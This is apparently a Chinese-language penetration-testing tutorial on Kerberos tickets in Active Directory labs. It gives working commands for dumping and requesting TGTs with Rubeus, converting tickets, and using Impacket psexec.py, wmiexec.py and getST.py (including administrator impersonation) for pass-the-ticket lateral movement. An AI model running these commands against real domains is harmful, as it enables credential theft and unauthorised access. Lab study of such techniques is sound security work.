前言
前置知识是kerberos认证原理,我这里默认读者已经了解了基本的TGT和ST的产生原理了。
本文主要讲述的内容大概如下
1.形象的理解TGT与ST
2.获取TGT的两种方式
3.不同协议TGT/ST的利用
1.理解TGT与ST
无论TGT还是ST,他们都是票据,用来获取特定服务所用的凭证,因此他们的表现形式都是相似的,如下
票据命名格式:
**TGT(Ticket Granting Ticket)**的命名格式通常以"krbtgt"开始,表示Ticket Granting Ticket。它包含了Kerberos领域(REALM)的信息,格式通常如下:
krbtgt/REALM@REALM
。TGT是用于获取服务票据(Service Ticket)的初始凭证。
如上图中的:
krbtgt/CONTOSO.COM @ CONTOSO.COM
**ST(Service Ticket)**的命名格式取决于要访问的服务。通常,它以服务的SPN为依据,包含了服务名称、主机名和Kerberos领域信息。格式可以是
service/host@REALM
,其中service
是服务的名称,host
是主机名,REALM
是Kerberos领域。
如上图中的:
host/win-o8g14c36dv0.contoso.com @ CONTOSO.COM
SPN(Service Principal Name)是用于标识和定位网络服务或应用程序的唯一名称。它通常包括服务名称、主机名和Kerberos领域信息。SPN的格式通常如下:
service/host:port
。其中,service
是服务的名称,host
是主机名,port
是服务运行的端口号。ST(Service Ticket)的命名格式通常不包括端口号信息,因为ST是用于表示已经通过身份验证的用户对特定服务的访问授权。端口号通常不是ST中包含的信息,而是在通信中的底层网络连接中指定的。ST的格式主要由服务的SPN(Service Principal Name)决定,它通常包括服务的名称和主机名。
因此,ST通常由SPN的格式决定,其中主要包括服务名称和主机名,而端口号是通过网络连接和协议来指定的。
2.获取TGT的两种方式
虽然TGT和ST都是作为获取服务用的凭据,但是TGT的作用对象是TGS服务,我们能够通过使用TGS来获取任意其他服务的ST,因此也被称为黄金票据,所以这里特地说明两种常用的获取TGT的方式。
2.1 shell登录后,无当前用户的账号密码
我们可能获取通过各种打点的方式获取了shell,并且查看whomi发现当前是域用户,但是我们不知道当前用户的账号密码。
工具:
rubeus
或
包含powershell版本的rebeus
我们先klist查看当前用户的票据中是否有TGT,即krbtgt开头的票据,类似
2.1.1
如果有的话,我们可以直接dump下来
执行命令:
. .\PowerSharpPack.ps1
PowerSharpPack -rubeus -Command "dump"
之后我们将对应krbtgt开头的票据的base64部分下载下来,去除回车和空行,然后放到文本文件中,命名 b64.txt 。
然后将b64转换成票据。
powershell(windows中操作)
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))
bash(linux中操作)
cat b64.txt | base64 -d > ticket.kirbi
2.1.2
如果klist中没有TGT的话,我们也能够通过rubeus申请一张
PowerSharpPack -rubeus -Command "tgtdeleg"
和之前一样,将对应krbtgt开头的票据的base64部分下载下来,去除回车和空行,然后放到文本文件中,命名 b64.txt 。然后将b64转换成票据。
3.不同协议TGT/ST的利用
在内网中我们最常使用的两种登录方式是psexec和winrm。
他们对应的服务分别是cifs和http。
以下是一些票据与技术的组合:
psexec,wmiexec CIFS
winrm HOST & HTTP
dcsync (DCs only) LDAP
票据的产生是在你需要执行特定服务的时候,自动去跟AD申请获得的。这意味着你并不一定有权限执行你所需要的特定服务。
举例
执行命令
dir \\dc01\c$\
的时候,显示报错access deny。但是查看klist发现,我们多了一张cifs的票据。
因此尝试dir dc01的话就会产生这类票据,但是不一定有权限访问dc01的内容
3.1 linux中使用票据
我们通过 第2部分的内容获取了票据 ticket.kirbi,这里我们需要将他转换成.ccahe文件。
使用ticket_converter.py在Linux / Windows格式之间转换tickets:
python ticket_converter.py ticket.kirbi ticket.ccache
导入票据
export KRB5CCNAME=<TGT_ccache_file_path>
执行klist能够查看票据的服务类型
3.1.1 cifs票据利用
但我们先利用通过前面dump方法中导出的CIFS票据,如下:
注意红框部分,我们后续使用pesec.py利用票据的名字必须符合这个格式。
比如在lab环境中我们执行whoami得到的返回是RLAB/bowen。我们执行如下命令利用psexec.py访问10.10.120.15主机(srv01.rastalabs.local)。
proxychains python ./psexec.py -debug RLAB/bowen@10.10.120.15 -k -no-pass -dc-ip 10.10.120.1
我们可以看到如下报错,并且我已经框出,我们在执行命令时候使用的票据。
由于使用的票据名并不是我们导入的票据名,我们必须做一些更改。将RLAB/bowen替换成RASTALABS.LOCAL/bowen
proxychains python ./psexec.py -debug RASTALABS.LOCAL/bowen@srv01.rastalabs.local -k -no-pass -dc-ip 10.10.120.1
由于靶场环境,当时psexec.py并未执行成功,但是是成功利用票据了
我们用wmiexec.py替代psexec.py
export KRB5CCNAME=/root/temp5/bowen_cifs.ccache
proxychains python ./wmiexec.py -debug RASTALABS.LOCAL/bowen@srv01.rastalabs.local -k -no-pass -dc-ip 10.10.120.1
执行后如下
3.1.1 TGT票据利用
TGT票据和CIFS票据同理,不过TGT的作用是用来获取别的票据,因此我们使用的是getST.py。
export KRB5CCNAME=/root/temp5/bowen_tgt.ccache
getST.py -impersonate 'administrator' -spn 'CIFS/castelblack.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$'
同理,进行修改
proxychains getST.py -debug -spn 'CIFS/SRV01.rastalabs.local' -k -no-pass -dc-ip 10.10.120.1 RASTALABS.LOCAL/bowen
查看票据
export KRB5CCNAME=/root/temp5/bowen.ccache
3.2 windows中使用票据
在windows环境中,我们还是利用rubeus导入我们的票据。
PowerSharpPack -rubeus -Command 'ptt /ticket:c:\temp\http.kirbi'
通过klist查看
klist